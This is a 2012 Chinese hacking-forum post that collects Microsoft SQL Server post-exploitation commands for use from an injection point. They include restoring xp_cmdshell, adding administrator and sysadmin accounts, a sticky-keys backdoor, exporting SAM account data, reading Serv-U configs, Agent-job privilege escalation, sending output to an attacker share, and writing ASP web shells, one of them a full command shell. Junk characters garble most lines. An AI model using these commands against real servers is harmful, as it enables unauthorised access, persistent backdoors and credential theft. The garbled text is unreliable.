找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号9 b/ p! I* \3 G5 k: {
恢复方法:查询分离器连接后,% r( Z3 y. |2 |! C, l' _
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
0 k$ K; }# P% M: P第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' , X3 [8 R" g+ C2 g$ ?: @( M
然后按F5键命令执行完毕
+ D# e% Z0 A$ u3 S8 b6 n0 D9 r4 F4 k7 G6 K. n! D# {2 ^
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
# a; k4 _4 L6 A恢复方法:查询分离器连接后,- I8 R/ `) @* `% d
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"% e6 ~. J1 ]5 \4 K
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
8 U$ ?7 ^; N# t' x( P然后按F5键命令执行完毕4 H$ N' B* T, e8 e
6 B  h6 t* b0 H& h
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)) F  A9 v2 E# `+ \. M! k
恢复方法:查询分离器连接后,
# Y: i& f: r& j3 n$ f第一步执行:exec sp_dropextendedproc 'xp_cmdshell'( w! x$ ~4 I# Q" G- Q6 C
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
; N7 G* y6 h4 c, r% ]/ N3 O然后按F5键命令执行完毕
% V; i/ j( {& k; }/ ^# J- o
* B& |. |# P9 U9 C4 终极方法.7 k/ i3 v* P/ {, [2 l- \
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
7 l; n! F5 j  n& ]' q: `. ]" D查询分离器连接后,
) R- p* l4 H  i0 k2000servser系统:
9 R: [' h* Y& Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'$ Q  [$ z& v8 t- C! J2 n; Y
# H+ q9 n; Z2 \
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
5 `" ]9 s! G0 Z& C( m9 A& r8 R# J
8 N  o  n' Z* `xp或2003server系统:
$ |  [4 d- k5 k1 e& v" g) L
5 b3 K% o- o! Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'0 x: n1 W) z  t+ M% I7 k

0 e$ k0 a9 R7 k+ u; gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'$ q/ ^, K( e% _) u3 C
& |, B% \0 H: _- E4 T$ S
# D" ^! M7 @: i, M7 o
五个SHIFT: V! K; ?8 w  G8 Y& n* H
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
& z. q- t# f+ e& A7 u
! t0 K* N& W# \  X* Hdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ( e; w: w# v  v# }

: s& d# Z7 M9 n# R3 ixp_cmdshell执行命令另一种方法
. u- [8 r0 T+ w9 Cdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' , Z) o6 \5 |9 P/ h

$ x# t: u6 O- @4 d  I判断存储扩展是否存在
4 g9 `( f4 o5 W6 j5 L) _  `6 iSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
0 p, [# b+ O9 f' t8 m9 s返回结果为1就OK
; p1 b# Y' O: l! q  S5 t6 Y; q. B( y

  e4 D' H! k* w+ i0 Y( k/ I上传xplog70.dll恢复xp_cmdshell语句:
  i9 x/ d$ D0 v+ {6 Esp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'+ u+ f9 w0 K7 b6 n6 G/ @4 f
" b6 x: }3 B. G/ K& }+ h
否则上传xplog7.0.dll
+ q7 N# Y1 d2 iExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'$ r. S4 f- u/ E6 x4 K: ]

, ^; e' E8 r* d) R" r# a& l% d: m) n) u$ p/ h' l+ }9 \$ J
) M  @) X) j: F7 h* `  q- ]# ^& d
首先开启沙盘模式:
& E/ Y1 @7 s7 z. K, Rexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',11 l8 k* ]* c7 g# s  |

+ E0 ]5 p+ h3 x+ L+ Y然后利用jet.oledb执行系统命令
. e$ b0 x8 Y( R: c. [6 `& m4 Vselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')1 @6 G  d' V1 v$ k" g
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了: G* A$ j/ y5 V: t& V

, W1 d2 @  t8 p9 P8 {* s$ N- \: f( J, s/ \: d9 Q5 P0 f1 @% d, s  ^
% y! f3 Z) f# X2 e$ u/ p9 Z
恢复过程sp_addextendedproc 如下:
# Z! h3 K6 q% R' Ncreate procedure sp_addextendedproc --- 1996/08/30 20:13
( g* c0 p6 @/ U% [7 i@functname nvarchar(517),/* (owner.)name of function to call */
" M) R2 \; t/ `@dllname varchar(255)/* name of DLL containing function */
) d6 s1 B& W# j& v6 M# Uas
3 m% J! s* r0 e7 }: X1 lset implicit_transactions off
- g# `! ^/ O- F! c# n8 K% P% lif @@trancount > 0
! E' R3 q9 v" ^1 W7 U- q& @begin
$ p( A5 T) K6 Q, y  sraiserror(15002,-1,-1,'sp_addextendedproc')
1 U- N, {% F) E' u$ [return (1)
1 b& Q7 E8 A- I- w( J0 e7 Xend & H# i9 y" J, x8 U
dbcc addextendedproc( @functname, @dllname)
4 f7 h; r  U- nreturn (0) -- sp_addextendedproc 5 ?8 R$ l! K8 ?2 W( L6 U
GO ! k. o$ R, B3 P( U7 I5 m

9 ^. _6 K# e  g' K' M* L) s( F* H/ _7 Y+ [: D

4 q: w9 M7 ?+ l% d9 Z9 f导出管理员密码文件
2 T7 s: w9 {+ ~sa默认可以读sam键.应该。* N6 H: i, ?7 j# Y+ ?$ ?  U8 F& p8 N! w; i
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg/ D' T4 T2 y* |! O$ Q
net user administrator test7 G- d" {2 Z+ X% Z" e7 M: K9 c
用administrator登陆.
. ?3 a. M& v) e( ^( K& Q0 D% i用完机器后
' Q3 |" U& s3 D, treg import c:\test.reg( I6 t' d9 a6 H' S
根本不用克隆.
7 i$ b4 O# n, ]( o. B5 _. m找到对应的sid. ( ^9 o8 \6 y, A0 m* \
7 M& i, K- ]% T- h) w2 {
/ L, O6 i4 c7 {% g2 L) N

  Q" x7 O6 u5 H9 u# ~恢复所有存储过程
) g# _' U& v. f- ^& s( q! G( Muse master ; a# t! A5 [- H8 l# B. M, L  v- i. R
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
7 e- v0 D5 _) ^3 I$ k3 c4 h; F- B# qexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
; g: k" d( u. f+ r) g* x- iexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
# W: E+ \; }# [: j% ~) ~exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ' `5 b  N8 h" O4 _0 g
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
- Y* i& j% e2 C( w( jexec sp_addextendedproc sp_OACreate,'odsole70.dll' 8 A! M, P  r" L( V" D9 X# p
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 2 Y' S) v/ u; h' w& }4 l
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 4 o% X6 ?' n% Z7 b; s* I3 ?
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
( j8 V- P6 c4 y8 F  v/ Lexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
  W7 V# m* M. J, R. s; Jexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 2 |) h3 i4 m+ A: t
exec sp_addextendedproc sp_OAStop,'odsole70.dll' , o% W2 x3 K9 n+ j& j
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
6 q2 B( q" o5 ]$ s! Qexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 0 L, P3 Y4 e. b
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 7 a$ q5 L* V9 K2 w' k7 v  E2 ~
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' % F9 p! }9 Y8 m) n( c) @
exec sp_addextendedproc xp_regread,'xpstar.dll'
$ F1 t- a# l+ V% f  W# C7 g# zexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
4 z+ C  ~( v/ m0 G% P7 Nexec sp_addextendedproc xp_regwrite,'xpstar.dll'
$ ~9 {! u. l; `) Hexec sp_addextendedproc xp_availablemedia,'xpstar.dll'* ?+ p8 `# d8 H3 z$ `, ]

. b! h: h" Y8 d8 D) [/ R8 R5 P- y: F) \- I% F
建立读文件的存储过程, c/ Q8 A+ s6 }* \& x
Create proc sp_readTextFile @filename sysname/ s+ }1 O* M* b6 Y. T
as
- G3 m( l4 h7 v" g/ F; T/ U
# H" D2 W. v( k6 P; t9 ~$ u! @9 H" {    begin
3 K" Z3 O9 X' ]2 [$ G- E( H! f) ^    set nocount on ! N4 y9 W& L& J$ t( v8 C
    Create table #tempfile (line varchar(8000))
) E2 G7 J1 h6 p    exec ('bulk insert #tempfile from "' + @filename + '"')0 V5 @! W) s9 `; r! V
    select * from #tempfile
) B/ K& i9 T3 R- m$ I5 d: s    drop table #tempfile
$ ]" M0 I) K, n9 \2 P6 YEnd' r7 }, h8 g/ }: j; k: P. o
3 V/ H  x6 t2 q9 T- l$ Y
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件7 n( g) z/ ~' ^% H5 R2 o) j
查看登录用户
  A% g- D, z! |/ \% gSelect * from sysxlogins7 Y$ {9 z2 _8 \- N# `! K# t

3 G, p8 u0 i, w1 v6 Q把文件内容读取到表中! \; q; Y: k0 K2 F" w/ L
BULK INSERT tmp from "c:\test.txt"
  ~8 C/ d6 y. R1 M2 YdElete from 表名 清理表里的内容6 ~. n  n& E, k
create table b_test(fn nvarchar(4000));建一个表,字段为fn
# j  H( a0 R- n$ C8 ^1 o. E- W# y2 L4 J6 x

$ o# l3 n. e4 N2 N6 @- P加sa用户1 L+ N( }7 N5 c' {) V( p+ x
exec master.dbo.sp_addlogin user,pass;! @+ O! j" q6 |5 y  Z# P, B
exec master.dbo.sp_addsrvrolemember user,sysadmin% E: I! e; q7 T$ N. m% d' w  K- h- E

3 i8 U6 Y9 C; ?) w
& J- T3 K+ C. h5 X0 t  E# W" l' {  F
读文件代码- \4 |( s5 C* u! s
declare @o int, @f int, @t int, @ret int5 z, _, N1 @" C5 j9 S' |' x
declare @line varchar(8000)4 k& U' W& O5 C8 A# F. E5 a- a
exec sp_oacreate 'scripting.filesystemobject', @o out
4 O0 K2 F# m( Hexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
$ s3 D" B5 B5 d2 p) _exec @ret = sp_oamethod @f, 'readline', @line out' I: |# [7 Z% \$ @3 k
while( @ret = 0 )
) K7 z: p+ E: }, _begin
" x( p; E2 _7 ^; P# T6 fprint @line5 Z; ]+ y& B( f, g5 X5 K5 f, O  V1 C
exec @ret = sp_oamethod @f, 'readline', @line out  u4 B6 E8 J3 t3 T) F4 K7 C
end
) M- r, x% v3 [, k* t% v2 E% G- `& B, L! F& ^
" k' r; L" G& G3 |# s, o! J
写文件代码:9 l7 P* A1 `6 |" \; t
declare @o int, @f int, @t int, @ret int5 j0 o3 B- f9 P
exec sp_oacreate 'scripting.filesystemobject', @o out# j4 u+ M, T& o0 W5 a, [$ Q0 Y' ^
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
, b. H8 C% M4 s+ Uexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》/ W9 A' l4 b9 C# k: V" @- `) l
4 I* ~* I, Q* C5 C- z; h

; g% x8 s# r; S) _- |2 O; l添加lake2 shell6 Z! d% S# [; E9 p
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll', @, Y- e8 s6 T5 y$ u- T# Q* p
sp_dropextendedproc xp_lake2* {5 u6 }* k  E( O" ~9 i
EXEC xp_lake2 'net user'3 h& C0 X/ ~# v+ T4 ?* s2 t
' O% b. S$ f" o! ^4 Y" I2 k

, i4 R3 r& w" P  E得到硬盘文件信息 , O7 Q" o( ~3 J" ]
--参数说明:目录名,目录深度,是否显示文件
" Y! m# E) X5 ^8 Qexecute master..xp_dirtree 'c:' * e% q. o6 ^7 Y3 ~8 K7 t
execute master..xp_dirtree 'c:',1
7 E( Y- y5 ~* Q, C) Jexecute master..xp_dirtree 'c:',1,1 ) m% e- |( n4 f9 D) u  B) B/ N

5 A! |2 O! r# O& ~( ?# F: E9 _" X- b* q1 W
读serv-u配置信息
# X, N3 M3 H: q/ {% G1 e5 W8 }exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'& G6 w% H, a; V. Y. e
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'6 I7 ^2 L$ J  M% o

' O& n2 @7 \2 o" \$ V! g/ K. W通过xp_regwrite写SHIFT后门, M0 m4 \, C) q
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
+ w6 y! @5 F  N! c) w- R
- [% `% A. K/ U8 Y0 e
, @5 S% e% V4 C$ |" P; j; P: m+ @9 @/ P5 ?7 t/ n7 j, A
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
$ r3 E/ q' }9 bexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
4 `7 q6 \! G, c) X. ]" F8 b! C* I7 `6 }' o
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'4 `2 g+ O- v- a0 j3 \& X& k/ K

0 p$ i. c! @- F# X$ }9 @; x6 P4 ]* C' x7 U8 ^9 j4 M; P- p3 d

: L; \* z0 K! `1 Q3 w/ L8 Xsql server 2005下开启xp_cmdshell的办法- f, N0 o9 _, j$ s% _# Q8 N

% E, E: y; ]# k- }* uEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;' O) i9 W) W4 v2 g( b* N( U- B

! w: N! P2 E4 U: d* A8 o2 oSQL2005开启'OPENROWSET'支持的方法:7 C* i" X6 e1 p# D, Y$ i0 z
' L7 f) Y* ^9 S* |- c6 @. h3 b
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;4 e3 ^& b4 u. F" |

; G, ~" j$ r; lSQL2005开启'sp_oacreate'支持的方法:$ V) L2 ~3 l( q9 U4 \! v6 B" W4 x
; `; Q& Z( y+ A3 I% `& g3 s3 n
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
" y7 ~# ^* M, S3 D. f
" W6 e) z% ]$ D# m  n% H# R* K7 M1 ^* j/ Y: D7 T6 i

1 ?0 P! c' Z, B5 E, k5 b1 a' }2 s3 X5 J+ V. @: @% o- B& ~
8 n! x0 Q* w+ J  ]3 n3 @- J
" ^. h6 y! p6 q# ?

( |* _& L5 I6 A( L8 J; k5 C% Q( M- r" z- e3 {: @
0 D& e* @: }+ _8 g+ r
. C4 C8 c* L' ~# s$ z
  \) D2 D/ i8 ^2 D+ |- n- T

+ C& P/ n7 @* [0 b. U5 {( @4 d. O$ V5 U" U2 W

: Y0 u' _0 A4 P4 j7 y
: F* z1 P1 x$ X) U" f6 W5 G, K- G7 r' p" S9 E

) |% ~% r6 {/ w- ]" i
; l7 {$ R5 M  s
/ [3 X0 Z* E+ p
3 }9 Z! c7 _5 {( n1 i1 I2 l& F1 a6 _- [) g
7 F; \9 I& s$ y3 |- Q+ e1 o5 w
) I/ I. A6 C8 |2 C

5 ]2 B2 G' v( R) Q以下方面不知道能不能成功暂且留下研究哈:
$ f. S5 ^5 L, A5 ~5 I: J4)
* ^6 J6 w7 \4 X. P# E) Q& Uuse msdb; --这儿不要是master哟2 ?" p2 B6 J- \; G$ o0 l5 d0 L
exec sp_add_job @job_name= czy82 ;2 h4 `+ g/ B3 I
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
, S# n  O0 [  dexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;. }2 }7 V% y4 K: ^' @) F( b
exec sp_start_job @job_name= czy82 ;( K  q! P5 U( u3 U  D0 k5 Q
/ A! v. C4 H8 i+ {
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以0 h  `: r# ^- K' \- ^# @8 r
执行tsql语句了.: V' H7 L# b% ^. s- D2 m0 a& D
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名: G& ]0 P# c! X8 Q, i# t
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
) {  D6 t% o0 x3 J3 C# {net start SQLSERVERAGENT" q- r0 D" b! x  A

9 Q% H. O0 u) b- P, C对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
# s& y' q4 t; e* R5 N$ j( iUSE msdb
5 B+ A, W4 c% U( Q  B) WEXEC sp_add_job @job_name = GetSystemOnSQL ,. Y0 S( O% P6 Y
@enabled = 1,
" }/ f4 @2 D5 T& g6 W) O@description = This will give a low privileged user access to
2 Z8 @, V1 B  S4 R4 qxp_cmdshell ,
+ l# _  h8 A/ [. p! z( y, L@delete_level = 19 U0 V; N5 d, U% ?2 z
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
) a) M' z4 ]( R- }@step_name = Exec my sql ,
% O7 }- g. ?1 j+ ?! T@subsystem = TSQL ,
6 f& _) [: ]0 T4 d- I, G/ y@command = exec master..xp_execresultset N select exec+ L* _- H% z6 b6 b& \0 y" b
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master * W& X7 G) r' C# K* E$ C
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
* q2 _& m4 ~4 D; a% Q@server_name = 你的SQL的服务器名 & k9 @6 H- m6 i. P6 \3 h& t
EXEC sp_start_job @job_name = GetSystemOnSQL
( O- u# J* p; X7 W* @1 r6 ]8 k% w$ B. A) @
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
( A1 H% C# X" m* h) p. R- X3 p2 |才让我们可以以public执行xp_cmdshell
  H& X# @' ^. n- ^) P* M6 _* i5 ]6 s
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
" m% w5 C7 }2 j8 E" E在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968- n0 _; k, F8 U& F, E
. F- h: W( R, y) p
USE msdb
% b/ G' Y" w" C: b0 M1 |EXEC sp_add_job @job_name = ArbitraryFilecreate ,9 Z! o' w6 J7 u7 G1 z
@enabled = 1,- q, S9 P* R" }( |  x4 [  \
@description = This will create a file called c:\sqlafc123.txt ,
" z8 c- |5 u) b, y@delete_level = 1
/ U) I$ Q9 b$ \3 d* L; iEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
. v- L: R; T8 T$ k( V0 z, Q@step_name = SQLAFC ,
) i5 \/ L/ c, n+ o. J( m@subsystem = TSQL ,' m, \% ~' \# Y6 t4 }
@command = select hello, this file was created by the SQL Agent. ,) @- Y3 \1 x0 Q; W/ L' M
@output_file_name = c:\sqlafc123.txt
+ \  @0 s( O0 _/ Q& Q6 ^5 I" ?EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
' |3 y# E0 Z4 i% j- O9 N@server_name = SERVER_NAME
( w% F' B. {5 E: E4 aEXEC sp_start_job @job_name = ArbitraryFilecreate
& o5 P  ?% c+ p8 s4 R
7 R, X' ~5 k% J* _3 ?$ a如果subsystem选的是:tsql,在生成的文件的头部有如下内容0 V8 }& x( k% m  U! K# T6 T# ]1 n
2 q. n% K* M1 q7 L: K
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:192 V* I3 K7 n0 L0 b+ I
----------------------------------------------: s/ h% [. j1 N& Q0 d! ^
hello, this file was created by the SQL Agent.- y+ r1 T  t' v0 y

! S/ A! T" s3 G  P* @4 j(1 ?????)
5 |- ^6 D* y- ~
/ M! H% r; q4 n- H5 S( _所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
+ n# P0 R* c1 d命令的vbs文件到启动目录!& b1 t+ ?7 g2 U9 y

) G5 m( {; n; k6)关于sp_makewebtask(可以写任意内容任意文件名的文件), c6 z6 L8 m3 i: W
关于sp_MScopyscriptfile 看下面的例子2 I$ g7 z! ]5 v# N2 Q' X
declare @command varchar(100) + t7 }9 _3 ~3 C* e( j: p" d0 N: Z  V
declare @scripfile varchar(200)
6 F+ `4 {8 D* ?' lset concat_null_yields_null off , _- M! Z6 I" _0 V. W1 Y
select @command= dir c:\ > "\\attackerip\share\dir.txt"
" y* S7 i5 C& _select @scripfile= c:\autoexec.bat > nul" | @command | rd "
' M6 F- Z5 {1 N5 pexec sp_MScopyscriptfile @scripfile ,
9 c2 d7 }  E- J
6 R, e2 W# y6 p6 W7 o* u. M这两个东东都还在测试试哟* z  h( k$ e2 h
让MSSQL的public用户得到一个本机的web shell9 t' [" x0 }/ u2 ?8 U9 T4 z

" y- L: P! M& a  j( d9 q% y+ `/ Esp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
- Y7 j- r* Q. o7 ~% E--@query= select <img src=vbscript:msgbox(now())> $ M/ `' E+ F2 j+ {/ n
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
0 p8 T- Z& V2 l@query= select ) u7 F5 N7 d8 l' I
<%On Error Resume Next 8 W# X& l- G& b: P! c' Z- l8 Y3 J
Set oscript = Server.createObject("wscript.SHELL") 1 [% s0 s$ v- x. G  g2 j
Set oscriptNet = Server.createObject("wscript.NETWORK")
; `" `. U/ [) ~& \Set oFileSys = Server.createObject("scripting.FileSystemObject")
" |0 `5 W' k9 V3 v" r% I. I- x! u3 m- rszCMD = Request.Form(".CMD")
* B# G6 t5 s7 W4 U, uIf (szCMD <>"")Then
& A+ u" e  n8 uszTempFile = "C:\" & oFileSys.GetTempName()
/ e2 D: {2 }7 n7 W) xCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
6 w' ~2 m% T4 i+ q# x; xSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
' Z5 S* {& g4 I) R1 ^8 k. EEnd If %>
! J2 a0 ^5 S$ _$ u$ X7 S<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> , Z. H0 U2 C9 |# J
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
5 R. X, C- I% n7 ]3 l9 j</FORM><RE>
, l3 m4 C# E7 I5 v) j7 F! ?8 P<% If (IsObject(oFile))Then
  V7 O9 Z9 Y2 F% v0 NOn Error Resume Next
1 s- ?* h4 ^7 B* k3 |8 j( jResponse.Write Server.HTMLEncode(oFile.ReadAll)
2 L. T' M5 o+ }3 @) XoFile.Close
8 U& U: {' c) m9 kCall oFileSys.deleteFile(szTempFile, True)
( I3 t& c3 c2 g" q' ]3 i4 B6 wEnd If%> 9 L8 u# @$ ^* H4 ^
</BODY></HTML>
. d, K8 w! U2 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表